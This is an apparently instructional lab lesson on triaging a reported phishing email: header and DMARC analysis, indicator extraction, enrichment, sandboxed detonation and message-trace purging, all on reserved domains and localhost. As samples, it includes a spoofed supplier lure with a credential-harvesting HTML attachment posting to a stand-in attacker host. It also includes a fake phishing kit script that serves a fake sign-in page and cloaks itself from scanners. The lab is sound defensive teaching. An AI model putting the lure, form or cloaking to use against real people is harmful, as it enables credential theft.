Skip to content
Tech Atlas, home
Search
Esc
  • All roadmapsBrowse every learning path
  • ExploreFind a technology area
  • ProjectsGuided projects and builds
  • My AtlasYour learning dashboard
Lesson 2 of 6 · Lab · 30 min · revision 2

Working a Reported Phishing Email

Work a reported phishing email end to end on your own machine: read its Received path and Authentication-Results, check DMARC alignment yourself, extract and defang its link and attachment, enrich them from local reputation and RDAP data, detonate the link against a fake phishing kit on 127.0.0.1, and use a message trace to find every mailbox to purge.

Contentsand lesson path

What you will learn

  • Investigate a reported phishing email: interpret its headers and SPF, DKIM and DMARC results, detonate its links and attachments in a sandbox, enrich indicators with reputation and domain registration data, and find which other mailboxes received it.

01. Goal and setup

Amy Lee in finance reports an email that claims to come from the supplier Northwind Traders. You will decide whether it is phishing, collect its indicators, see what its link does without risking your computer, and find every other mailbox that received it.

Everything runs locally. The email, the reputation data and the mail logs are fixed files printed in the lesson, and the phishing site is a small server on 127.0.0.1. All names use reserved domains (.example, .test) and documentation addresses, so no step contacts a real system.

You need: Python 3.10 or later and nothing else; every script uses only the standard library (tested with Python 3.12.13). Port 19131 on 127.0.0.1 must be free for step 6.

Folder layout at the end of the lab
phish-lab/
├── reported.eml, legit.eml       step 1: the reported email and a genuine one
├── headers.py                    steps 2-3: path, authentication, alignment
├── iocs.py, iocs.json            step 4: links and attachments
├── intel/rdap.json, intel/reputation.json, enrich.py    step 5
├── landing.py, detonate.py, kit.log                     step 6
└── make_trace.py, trace.csv, proxy.csv, trace.py        step 7

02. Step 1: Save the reported email and a genuine one

Save the two messages below. An .eml file is the raw message: header fields, a blank line, then the body. Most mail clients can export one ("Show original" or similar). Work on the exported file, not in the mailbox, so that you cannot click anything by accident. legit.eml is a genuine statement from the same supplier; it is the negative test, the message that must not look suspicious.

Terminal
mkdir phish-lab && cd phish-lab
Email · phish-lab/reported.eml
Received: from mx.corp.example (mx.corp.example [10.20.0.5])
    by mbox.corp.example with LMTP id 7Hq2; Mon, 09 Nov 2026 08:14:09 +0000
Authentication-Results: mx.corp.example;
    spf=pass [email protected];
    dkim=pass header.d=fastsend.test header.s=fs1;
    dmarc=fail (p=none dis=none) header.from=northwind-traders.example
Received: from mail.fastsend.test (mail.fastsend.test [203.0.113.45])
    by mx.corp.example with ESMTPS id 4c1f; Mon, 09 Nov 2026 08:14:07 +0000
Authentication-Results: mx.fastsend.test; spf=pass; dkim=pass;
    dmarc=pass header.from=northwind-traders.example
Received: from WIN-7Q2LKD ([192.168.56.20])
    by mail.fastsend.test with ESMTPSA id 99ab; Mon, 09 Nov 2026 08:14:05 +0000
From: "Northwind Traders Accounts" <[email protected]>
Reply-To: [email protected]
To: [email protected]
Subject: Overdue invoice INV-7731 - action required
Date: Mon, 09 Nov 2026 08:14:05 +0000
Message-ID: <[email protected]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset="utf-8"

<p>Dear customer,</p><p>Invoice INV-7731 is overdue. Please review it today:</p>
<p><a href="http://billing.northwind-pay.test/l/7731?u=amy.lee">
https://portal.northwind-traders.example/invoices/7731</a></p>
<p>The remittance advice is attached.</p>
--b1
Content-Type: text/html; name="Remittance_7731.html"
Content-Disposition: attachment; filename="Remittance_7731.html"
Content-Transfer-Encoding: base64

PGh0bWw+PGJvZHk+PGgzPlJlbWl0dGFuY2UgYWR2aWNlIDc3MzE8L2gzPgo8Zm9ybSBhY3Rpb249
Imh0dHBzOi8vY29sbGVjdC5ub3J0aHdpbmQtcGF5LnRlc3QvcCIgbWV0aG9kPSJwb3N0Ij4KPGlu
cHV0IG5hbWU9ImVtYWlsIj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4K
PGJ1dHRvbj5PcGVuIGRvY3VtZW50PC9idXR0b24+PC9mb3JtPjwvYm9keT48L2h0bWw+Cg==
--b1--
Email · phish-lab/legit.eml
Received: from mx.corp.example (mx.corp.example [10.20.0.5])
    by mbox.corp.example with LMTP id 6Gp1; Thu, 05 Nov 2026 10:02:41 +0000
Authentication-Results: mx.corp.example;
    spf=pass [email protected];
    dkim=pass header.d=northwind-traders.example header.s=nw2026;
    dmarc=pass (p=none dis=none) header.from=northwind-traders.example
Received: from out1.northwind-traders.example (out1.northwind-traders.example
    [198.51.100.10]) by mx.corp.example with ESMTPS id 3b0e;
    Thu, 05 Nov 2026 10:02:39 +0000
From: "Northwind Traders Accounts" <[email protected]>
To: [email protected]
Subject: Statement for October 2026
Date: Thu, 05 Nov 2026 10:02:30 +0000
Message-ID: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"

Your October statement is available in the portal you already use.

03. Step 2: Read the path and the authentication results

Each mail server that handles a message adds a Received field at the top, so you read them from the bottom up. Only the fields written by your own servers are trustworthy; anything below them can be invented.

Authentication-Results (RFC 8601) records the checks a receiving server made. It starts with the authserv-id, the name of the server that did the checks, then one method=result clause per check. SPF (RFC 7208) checks whether the connecting IP address may send for the domain in the envelope sender (smtp.mailfrom). DKIM (RFC 6376) checks a cryptographic signature made by the domain in header.d. DMARC (RFC 9989, published in May 2026, which replaced RFC 7489) passes only if SPF or DKIM passes for a domain aligned with the visible From domain; by default alignment is relaxed, which means the same organisational domain.

headers.py prints the path, keeps only the topmost Authentication-Results written by your edge server mx.corp.example, and checks alignment itself. RFC 8601 asks a border server to delete fields that claim its own authserv-id from outside; the script treats any lower copy as forged as a second safeguard. Its org_domain() takes the last two labels, a lab shortcut for the DNS tree walk that RFC 9989 defines.

Python · phish-lab/headers.py
"""Print the Received path, trusted Authentication-Results and DMARC alignment."""
import re
import sys
from email import policy
from email.parser import BytesParser

OUR_MTA = "mx.corp.example"  # the authserv-id that our own edge server writes


def flat(value):
    return " ".join(str(value).split())


def org_domain(domain):
    """Simplified: the last two labels. Real tools use the RFC 9989 tree walk."""
    return ".".join(domain.lower().split(".")[-2:])


def parse_ar(value):
    """'authserv-id; method=result prop=value; ...' -> (authserv-id, results)."""
    authserv, _, rest = flat(value).partition(";")
    results = {}
    for clause in rest.split(";"):
        m = re.match(r"\s*(\w+)=(\w+)(.*)", clause)
        if m:
            results[m.group(1)] = (m.group(2), dict(re.findall(r"([\w.]+)=(\S+)",
                                                                m.group(3))))
    return authserv.strip(), results


msg = BytesParser(policy=policy.default).parse(open(sys.argv[1], "rb"))
print("Received hops, oldest first:")
for n, hop in enumerate(reversed(msg.get_all("Received", [])), 1):
    m = re.search(r"from (\S+) .*?\[([\d.]+)\].*? by (\S+)", flat(hop))
    mark = " (our server)" if m.group(3).endswith("corp.example") else ""
    print(f"  {n}. {m.group(1)} [{m.group(2)}] -> {m.group(3)}{mark}")

trusted = None  # the topmost header from our server is the one it wrote last
for value in msg.get_all("Authentication-Results", []):
    authserv, results = parse_ar(value)
    if authserv == OUR_MTA and trusted is None:
        trusted = results
    elif authserv == OUR_MTA:
        print(f"Ignored a lower Authentication-Results that claims {authserv}: forged?")
    else:
        print(f"Ignored Authentication-Results from {authserv}: not our server")
trusted = trusted or {}

from_domain = msg["From"].addresses[0].domain
spf, spf_props = trusted.get("spf", ("none", {}))
dkim, dkim_props = trusted.get("dkim", ("none", {}))
spf_domain = spf_props.get("smtp.mailfrom", "").rpartition("@")[2]
dkim_domain = dkim_props.get("header.d", "")
spf_ok = spf == "pass" and org_domain(spf_domain) == org_domain(from_domain)
dkim_ok = dkim == "pass" and org_domain(dkim_domain) == org_domain(from_domain)
print(f"From domain: {from_domain}")
print(f"  SPF  {spf} for {spf_domain}: aligned={spf_ok}")
print(f"  DKIM {dkim} for {dkim_domain}: aligned={dkim_ok}")
print(f"  DMARC (our check): {'pass' if spf_ok or dkim_ok else 'fail'}; "
      f"server said {trusted.get('dmarc', ('none',))[0]}")
if msg["Reply-To"]:
    reply_domain = msg["Reply-To"].addresses[0].domain
    if org_domain(reply_domain) != org_domain(from_domain):
        print(f"  Reply-To goes to a different domain: {reply_domain}")
Terminal
python3 headers.py reported.eml
Expected output
Received hops, oldest first:
  1. WIN-7Q2LKD [192.168.56.20] -> mail.fastsend.test
  2. mail.fastsend.test [203.0.113.45] -> mx.corp.example (our server)
  3. mx.corp.example [10.20.0.5] -> mbox.corp.example (our server)
Ignored Authentication-Results from mx.fastsend.test: not our server
From domain: northwind-traders.example
  SPF  pass for fastsend.test: aligned=False
  DKIM pass for fastsend.test: aligned=False
  DMARC (our check): fail; server said fail
  Reply-To goes to a different domain: northwind-pay.test

Hop 2 was recorded by your own server, so the message really arrived from 203.0.113.45, a relay of the bulk-mail service fastsend.test. Hop 1 was written by fastsend and cannot be checked. The second Authentication-Results, from mx.fastsend.test, came from the sender's side, so it is ignored.

SPF and DKIM both passed, but for fastsend.test. Anyone can open an account at a bulk-mail service and send signed, SPF-clean mail, so those passes prove only that fastsend sent it. Neither is aligned with northwind-traders.example, so DMARC fails. The message was still delivered because Northwind publishes p=none, a monitoring policy that expresses no handling preference, so the receiver applied no DMARC action. With a Reply-To on a third domain, this points to a spoofed supplier.

04. Step 3: Negative test with the genuine message

A check that flags everything is useless. Run the same script on the genuine statement; it must pass alignment and show no warning.

Terminal
python3 headers.py legit.eml
Expected output
Received hops, oldest first:
  1. out1.northwind-traders.example [198.51.100.10] -> mx.corp.example (our server)
  2. mx.corp.example [10.20.0.5] -> mbox.corp.example (our server)
From domain: northwind-traders.example
  SPF  pass for mail.northwind-traders.example: aligned=True
  DKIM pass for northwind-traders.example: aligned=True
  DMARC (our check): pass; server said pass

SPF passes for a subdomain, which is still aligned in relaxed mode, and DKIM passes for the supplier's own domain. Either alone would satisfy DMARC.

05. Step 4: Extract the link and the attachment

iocs.py walks every MIME part. For HTML it collects each link's real target (href) next to the text the user sees, and any form's action, the address that receives what a victim types. For an attachment it computes the SHA-256 of the decoded bytes. It prints everything defanged and saves the raw values to iocs.json for the next steps.

Python · phish-lab/iocs.py
"""Extract links and attachments from an email, print them defanged, save iocs.json."""
import hashlib
import json
import re
import sys
from email import policy
from email.parser import BytesParser
from html.parser import HTMLParser
from urllib.parse import urlsplit


class Links(HTMLParser):
    """Collect (href, visible text) pairs and form targets from HTML."""

    def __init__(self):
        super().__init__()
        self.links, self.forms, self._href = [], [], None

    def handle_starttag(self, tag, attrs):
        attrs = dict(attrs)
        if tag == "a":
            self._href = attrs.get("href")
        elif tag == "form":
            self.forms.append(attrs.get("action", ""))

    def handle_data(self, data):
        if self._href and data.strip():
            self.links.append((self._href, data.strip()))
            self._href = None


def defang(url):
    return re.sub(r"^http", "hxxp", url).replace(".", "[.]")


msg = BytesParser(policy=policy.default).parse(open(sys.argv[1], "rb"))
iocs = {"urls": [], "domains": [], "attachments": []}
for part in msg.walk():
    if part.is_multipart():
        continue
    data = part.get_content()
    if part.get_filename():
        raw = part.get_payload(decode=True)
        sha = hashlib.sha256(raw).hexdigest()
        iocs["attachments"].append({"name": part.get_filename(), "sha256": sha})
        print(f"attachment {part.get_filename()} ({len(raw)} bytes)")
        print(f"  sha256 {sha}")
    if part.get_content_type() == "text/html":
        parser = Links()
        parser.feed(data)
        for href, text in parser.links:
            iocs["urls"].append(href)
            print(f"link   {defang(href)}")
            print(f"  shows {defang(text)}")
        for action in parser.forms:
            iocs["urls"].append(action)
            print(f"form posts to {defang(action)} (in {part.get_filename()})")
iocs["domains"] = sorted({urlsplit(u).hostname for u in iocs["urls"]})
json.dump(iocs, open("iocs.json", "w"), indent=2)
print("domains:", ", ".join(d.replace(".", "[.]") for d in iocs["domains"]))
Terminal
python3 iocs.py reported.eml
Expected output
link   hxxp://billing[.]northwind-pay[.]test/l/7731?u=amy[.]lee
  shows hxxps://portal[.]northwind-traders[.]example/invoices/7731
attachment Remittance_7731.html (223 bytes)
  sha256 36085315acaf584570f0642c16f0a8b1150269bc7ea856f235786676edcf16b1
form posts to hxxps://collect[.]northwind-pay[.]test/p (in Remittance_7731.html)
domains: billing[.]northwind-pay[.]test, collect[.]northwind-pay[.]test

The visible text shows the supplier's portal, but the link goes to northwind-pay.test. The attachment is an HTML page with a password form that posts to the same domain: a phishing page sent as a file, so that no link has to pass the mail filter. The parser read it as text, without opening it.

06. Step 5: Enrich the indicators

Enrichment adds context. Reputation data says what others, or your own logs, already know about a value. Registration data says when a domain was registered and by whom. WHOIS is being replaced by RDAP (Registration Data Access Protocol), which returns JSON (RFC 9083); since 28 January 2025 ICANN no longer requires most generic top-level domain registries and registrars to run WHOIS. The lab uses saved responses in the RDAP format instead of live lookups.

JSON · phish-lab/intel/rdap.json
{
  "northwind-pay.test": {
    "objectClassName": "domain", "ldhName": "northwind-pay.test",
    "status": ["client transfer prohibited"],
    "events": [
      {"eventAction": "registration", "eventDate": "2026-11-06T22:41:09Z"},
      {"eventAction": "expiration", "eventDate": "2027-11-06T22:41:09Z"}],
    "nameservers": [{"objectClassName": "nameserver", "ldhName": "ns1.parkdns.test"}]
  },
  "fastsend.test": {
    "objectClassName": "domain", "ldhName": "fastsend.test", "status": ["active"],
    "events": [{"eventAction": "registration", "eventDate": "2019-03-14T09:00:00Z"}],
    "nameservers": [{"objectClassName": "nameserver", "ldhName": "ns1.fastsend.test"}]
  },
  "northwind-traders.example": {
    "objectClassName": "domain", "ldhName": "northwind-traders.example",
    "status": ["active"],
    "events": [{"eventAction": "registration", "eventDate": "2009-05-02T12:00:00Z"}],
    "nameservers": [
      {"objectClassName": "nameserver", "ldhName": "ns1.northwind-traders.example"}]
  }
}
JSON · phish-lab/intel/reputation.json
{
  "fastsend.test": "bulk-mail service with self sign-up; mostly newsletters to us",
  "203.0.113.45": "fastsend.test shared relay; 1,240 messages to us in 30 days",
  "northwind-traders.example": "known supplier; contract on file",
  "northwind-pay.test": "no previous sightings"
}
Python · phish-lab/enrich.py
"""Enrich indicators from local fixtures: reputation notes and RDAP domain age."""
import json
import sys
from datetime import datetime

SEEN = datetime.fromisoformat("2026-11-09T08:14:05+00:00")  # the email's Date
rdap = json.load(open("intel/rdap.json"))
reputation = json.load(open("intel/reputation.json"))
iocs = json.load(open("iocs.json"))


def registered(name):
    return ".".join(name.split(".")[-2:])


names = sorted({registered(d) for d in iocs["domains"]} | set(sys.argv[1:]))
for name in names:
    print(f"{name}: {reputation.get(name, 'not in reputation data')}")
    record = rdap.get(name)
    if record:
        events = {e["eventAction"]: e["eventDate"] for e in record["events"]}
        created = datetime.fromisoformat(events["registration"].replace("Z", "+00:00"))
        age = (SEEN - created).days
        flag = "  <- NEWLY REGISTERED" if age < 30 else ""
        print(f"  registered {created:%Y-%m-%d}, {age} days before the email{flag}")
for att in iocs["attachments"]:
    note = reputation.get(att["sha256"], "hash not seen before (unknown is not safe)")
    print(f"{att['name']}: {note}")
Terminal
python3 enrich.py fastsend.test 203.0.113.45 northwind-traders.example
Expected output
203.0.113.45: fastsend.test shared relay; 1,240 messages to us in 30 days
fastsend.test: bulk-mail service with self sign-up; mostly newsletters to us
  registered 2019-03-14, 2796 days before the email
northwind-pay.test: no previous sightings
  registered 2026-11-06, 2 days before the email  <- NEWLY REGISTERED
northwind-traders.example: known supplier; contract on file
  registered 2009-05-02, 6399 days before the email
Remittance_7731.html: hash not seen before (unknown is not safe)

The phishing domain was registered two days before the email, which is common for disposable phishing infrastructure and rare for real suppliers. The relay and the bulk service are shared by many legitimate senders, so blocking them would stop wanted newsletters; report the abuse to the service instead. An unknown attachment hash proves nothing either way, because kits are rebuilt for each campaign.

07. Step 6: Detonate the link in the lab

Detonation means letting a suspicious link or file run somewhere isolated and recording what it does. Do not do it on your workstation: a private browser window hides your history, not your computer, from a malicious page. Teams use an isolated sandbox or a URL scanner. Public services such as urlscan.io, VirusTotal or the free tier of ANY.RUN can make what you submit visible to other users, and this link carries u=amy.lee, which tells the attacker who clicked. Remove such tokens, or use a private submission, before you scan.

Here landing.py plays the phishing kit on 127.0.0.1 and detonate.py plays the sandbox. Its LAB table works like a sandbox's fake DNS: only the phishing host goes to the local server. It records each redirect and refuses to contact any host outside the lab. It can also pretend to be a scanner.

Python · phish-lab/landing.py
"""A fake phishing kit for the lab. It listens on 127.0.0.1 only."""
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlsplit

PAGE = b"""<html><head><title>Northwind Traders - Sign in</title></head><body>
<form action="https://collect.northwind-pay.test/p" method="post">
<input name="email"><input name="password" type="password"><button>Sign in</button>
</form></body></html>"""


class Kit(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urlsplit(self.path).path
        agent = self.headers.get("User-Agent", "")
        print(f"kit saw: {self.path} ua={agent.partition(' ')[0]}", flush=True)
        if path.startswith("/l/"):
            if "Mozilla" not in agent:  # cloaking: scanners get the real site
                return self.redirect("https://www.northwind-traders.example/")
            return self.redirect("/login?ref=" + path[3:])
        if path == "/login":
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            return self.wfile.write(PAGE)
        self.send_error(404)

    def redirect(self, location):
        self.send_response(302)
        self.send_header("Location", location)
        self.end_headers()

    def log_message(self, *args):  # the print above replaces the default log
        pass


HTTPServer(("127.0.0.1", 19131), Kit).serve_forever()
Python · phish-lab/detonate.py
"""Fetch a phishing URL in the lab. Follow redirects only to lab hosts; record all."""
import http.client
import sys
from html.parser import HTMLParser
from urllib.parse import urljoin, urlsplit

LAB = {"billing.northwind-pay.test": ("127.0.0.1", 19131)}  # lab DNS: name -> socket
BROWSER = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) lab-sandbox"
SCANNER = "python-urllib/3.12"


class Page(HTMLParser):
    def __init__(self):
        super().__init__()
        self.title, self.forms, self._in_title = "", [], False

    def handle_starttag(self, tag, attrs):
        attrs = dict(attrs)
        self._in_title = tag == "title"
        if tag == "form":
            self.forms.append([attrs.get("action"), attrs.get("method", "get"), []])
        elif tag == "input" and self.forms:
            self.forms[-1][2].append(attrs.get("name"))

    def handle_data(self, data):
        if self._in_title:
            self.title += data


def detonate(url, agent):
    for hop in range(1, 6):
        parts = urlsplit(url)
        if parts.hostname not in LAB:
            print(f"{hop}. {url}\n   off-lab host: recorded, not fetched")
            return
        conn = http.client.HTTPConnection(*LAB[parts.hostname], timeout=5)
        target = parts.path + ("?" + parts.query if parts.query else "")
        conn.request("GET", target,
                     headers={"Host": parts.hostname, "User-Agent": agent})
        resp = conn.getresponse()
        body = resp.read().decode(errors="replace")
        print(f"{hop}. {url} -> {resp.status}")
        if resp.status in (301, 302, 303, 307, 308):
            url = urljoin(url, resp.getheader("Location"))
            continue
        page = Page()
        page.feed(body)
        print(f"   title: {page.title}")
        for action, method, fields in page.forms:
            print(f"   form {method.upper()} -> {action} fields={fields}")
        return
    print("stopped after 5 hops")


detonate(sys.argv[1], SCANNER if "--scanner" in sys.argv else BROWSER)
Terminal
python3 landing.py > kit.log 2>&1 &
KIT=$!
sleep 1
python3 detonate.py "http://billing.northwind-pay.test/l/7731?u=amy.lee"
Expected output
1. http://billing.northwind-pay.test/l/7731?u=amy.lee -> 302
2. http://billing.northwind-pay.test/login?ref=7731 -> 200
   title: Northwind Traders - Sign in
   form POST -> https://collect.northwind-pay.test/p fields=['email', 'password']
Terminal
python3 detonate.py "http://billing.northwind-pay.test/l/7731?u=amy.lee" --scanner
kill $KIT
cat kit.log
Expected output (your shell may also print a Terminated line)
1. http://billing.northwind-pay.test/l/7731?u=amy.lee -> 302
2. https://www.northwind-traders.example/
   off-lab host: recorded, not fetched
kit saw: /l/7731?u=amy.lee ua=Mozilla/5.0
kit saw: /login?ref=7731 ua=Mozilla/5.0
kit saw: /l/7731?u=amy.lee ua=python-urllib/3.12

With a browser-like User-Agent, the link leads to a fake Northwind sign-in page whose form posts email and password to collect.northwind-pay.test. With a scanner User-Agent, the same link sends you to the real supplier site. This cloaking is why sandboxes imitate real browsers. kit.log shows the attacker's view: every visit, with the victim token.

08. Step 7: Find every recipient and who clicked

A message trace (or message log search) lists every message the mail platform delivered, with sender, recipient, subject and status. make_trace.py writes a small export; proxy.csv is part of the web proxy log. trace.py searches the trace with the indicators, then checks the proxy log for visits to the phishing domains.

Python · phish-lab/make_trace.py
"""Write trace.csv: a message-trace export from the lab mail platform."""
import csv

H = "36085315acaf584570f0642c16f0a8b1150269bc7ea856f235786676edcf16b1"
NW, FS = "[email protected]", "fastsend.test"
OK = "delivered"
LURE = "Overdue invoice INV-7731 - action required"
# received_utc, envelope_from, header_from, recipient, subject, hash, status
ROWS = [
    ("2026-11-05T10:02:39Z", "[email protected]", NW,
     "amy.lee", "Statement for October 2026", "", OK),
    ("2026-11-09T08:11:52Z", f"bounce-7729@{FS}", "[email protected]",
     "amy.lee", "Your November beans", "", OK),
    ("2026-11-09T08:14:07Z", f"bounce-7731@{FS}", NW, "amy.lee", LURE, H, OK),
    ("2026-11-09T08:14:08Z", f"bounce-7731@{FS}", NW, "raj.patel", LURE, H, OK),
    ("2026-11-09T08:14:08Z", f"bounce-7731@{FS}", NW, "ap-team", LURE, H, OK),
    ("2026-11-09T08:14:09Z", f"bounce-7731@{FS}", NW, "tom.ng", LURE, H, "quarantined"),
    ("2026-11-09T08:31:40Z", "[email protected]", NW, "li.wei",
     "Re: invoice INV-7731", H, OK),
    ("2026-11-09T09:05:12Z", "[email protected]", NW,
     "raj.patel", "Invoice INV-7735", "", OK),
]
with open("trace.csv", "w", newline="") as f:
    out = csv.writer(f)
    out.writerow(["received_utc", "envelope_from", "header_from", "recipient",
                  "subject", "attachment_sha256", "status"])
    for row in ROWS:
        out.writerow(row[:3] + (row[3] + "@corp.example",) + row[4:])
print(f"wrote trace.csv: {len(ROWS)} messages")
CSV · phish-lab/proxy.csv
time_utc,user,method,url
2026-11-09T08:20:31Z,amy.lee,GET,https://www.northwind-traders.example/
2026-11-09T08:40:02Z,raj.patel,GET,http://billing.northwind-pay.test/l/7731?u=raj.patel
2026-11-09T08:40:03Z,raj.patel,GET,http://billing.northwind-pay.test/login?ref=7731
2026-11-09T08:40:41Z,raj.patel,POST,https://collect.northwind-pay.test/p
Python · phish-lab/trace.py
"""Find every delivery of the phish in the trace, then who clicked it (proxy log)."""
import csv
import json

iocs = json.load(open("iocs.json"))
hashes = {a["sha256"] for a in iocs["attachments"]}
domains = set(iocs["domains"])
SENDER = ("fastsend.test", "[email protected]")  # envelope, From

trace = list(csv.DictReader(open("trace.csv")))
by_from = [r for r in trace if r["header_from"] == SENDER[1]]
hits = [r for r in trace
        if r["attachment_sha256"] in hashes
        or (r["envelope_from"].endswith("@" + SENDER[0])
            and r["header_from"] == SENDER[1])]
print(f"search on From address only: {len(by_from)} messages (genuine mail too)")
print(f"search on hash or sender pair: {len(hits)} messages")
for r in hits:
    when = r["received_utc"][11:19]
    print(f"  {when} {r['recipient']:<22} {r['status']:<11} {r['subject']}")
for mailbox in sorted({r["recipient"] for r in hits if r["status"] == "delivered"}):
    print("purge from", mailbox)

for r in csv.DictReader(open("proxy.csv")):
    host = r["url"].split("/")[2]
    if host in domains:
        print(f"clicked: {r['user']} {r['method']} {host} at {r['time_utc']}")
Terminal
python3 make_trace.py
python3 trace.py
Expected output
wrote trace.csv: 8 messages
search on From address only: 7 messages (genuine mail too)
search on hash or sender pair: 5 messages
  08:14:07 [email protected]   delivered   Overdue invoice INV-7731 - action required
  08:14:08 [email protected] delivered   Overdue invoice INV-7731 - action required
  08:14:08 [email protected]   delivered   Overdue invoice INV-7731 - action required
  08:14:09 [email protected]    quarantined Overdue invoice INV-7731 - action required
  08:31:40 [email protected]    delivered   Re: invoice INV-7731
purge from [email protected]
purge from [email protected]
purge from [email protected]
purge from [email protected]
clicked: raj.patel GET billing.northwind-pay.test at 2026-11-09T08:40:02Z
clicked: raj.patel GET billing.northwind-pay.test at 2026-11-09T08:40:03Z
clicked: raj.patel POST collect.northwind-pay.test at 2026-11-09T08:40:41Z

Searching on the From address alone finds seven messages, because it also matches genuine supplier mail; a purge built on it would delete real invoices. The attachment hash and the sender pair find five, including Li Wei's copy, which had a different subject and came through another relay. One copy was already quarantined, so four mailboxes need a purge. On a real platform you run the same search in its message trace or content search and use its purge action, which usually needs a separate permission.

The proxy log answers a different question: who clicked. It cannot replace the trace, because it shows only clicks. Raj Patel opened the page and sent the form, so treat his password as stolen: reset it, end his sessions, and check his sign-ins and mailbox rules.

09. Troubleshooting

10. Check your understanding

Practice check · 3 questions

Reading the evidence

Three questions about the scripts and results in this lab.

Q1. Before step 2, you add a forged `Authentication-Results: mx.corp.example; spf=pass [email protected]; dmarc=pass` just above the `From` line of `reported.eml`. What does the DMARC line of `headers.py` show?
Q2. You searched `trace.csv` only for the exact lure subject `Overdue invoice INV-7731 - action required`. Which copy of the phish would you miss?
Q3. A colleague runs the link through a scanner, sees it land on `www.northwind-traders.example`, and wants to close the case as harmless. What is the better reading?
Practice only: not graded, not saved, not evidence.

11. Apply it

Extend the lab towards the skill project:

  • Write a short case note for this email: verdict, evidence (header lines, alignment, domain age, detonation result), indicators (defanged) and actions (purge list, password reset, blocks with review dates).
  • Add a second phish to reported.eml's campaign: a message whose From is a lookalike domain such as northwind-tradres.example with its own passing SPF, DKIM and DMARC. Which checks in headers.py still help, and which control would stop it? Email Authentication from Monitor to Reject returns to this.
  • Make detonate.py save each response body with its SHA-256, so the evidence survives the kit.

12. Review prompt

Without looking back:

  1. In which order do you read Received fields, and which of them can you trust?
  2. SPF and DKIM both pass but DMARC fails. What does that tell you, and why was the message still delivered?
  3. Why should you not paste a phishing link with a victim token into a public scanner?
  4. Why is the message trace, not the proxy log, the right source for a purge?

References

Your progress

Reading state

Sign in to save that you finished reading this lesson.

Sign in to mark reading complete

Prove this skill

8 questions · about 6 minutes · scored automatically. Marking a lesson as read never demonstrates a skill.
Take the skill check